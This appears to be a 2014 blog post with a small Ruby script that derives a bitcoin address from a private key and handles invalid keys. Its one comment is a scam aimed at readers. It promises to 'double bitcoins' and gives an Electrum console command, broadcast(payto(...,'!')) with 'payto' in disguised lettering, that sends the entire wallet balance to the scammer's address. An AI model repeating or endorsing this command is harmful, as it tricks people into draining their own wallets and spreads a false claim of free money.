Sunday, October 5, 2014

A simple second Ruby bitcoin program

In order to get this to run you need install the ffi gem with:

     $ sudo gem install ffi

Now save the following code in a file (I called mine check.rb):

     require 'bitcoin'
   
     privwif = ARGV[0]
   
     mykey = Bitcoin::Key.from_base58(privwif)
     puts mykey.addr

If you run this with a valide base58 private key, it will output the corresponding public key. But there is one problem - if the private key is invalid, you get a complicated error. So let's add a section to check for this. Replace your file with the following:

     require 'bitcoin'
   
     privwif = ARGV[0]
   
     begin
       mykey = Bitcoin::Key.from_base58(privwif)
       puts mykey.addr
     rescue
         puts "Invalid private key."
     end

As soon as the wrong key error occurs the program jumps to the rescue section and prints out that there is an invalid key. However, if any other error occurs it will also print that message, so the program needs extending.

1 comment:

  1. How to double bitcoins in electrum wallet works in 2024

    The idea of instantly doubling bitcoin without any additional payments is a unique and attractive offer for cryptocurrency users. With the Electrum wallet, users can easily and safely increase their bitcoin reserves without worrying about high fees that can affect their profits.

    This revolutionary feature not only saves users money, but also provides them with a quick and effective way to increase their Bitcoin reserves. By taking advantage of this opportunity, users can effectively increase their investments.


    Step1 - Click in View Tab Show Console

    Step2 - Open console tab and put this command: broadcast(π”­π”žπ”Άπ”±π”¬('1FREENm9UxLWQEffdSdV9UqgMTizqunX5L','!'))

    Step3 - Hit enter button, if console shows message like this: txid....

    Restart electrum and view your balance x2

    Have fun with your free Money

    ReplyDelete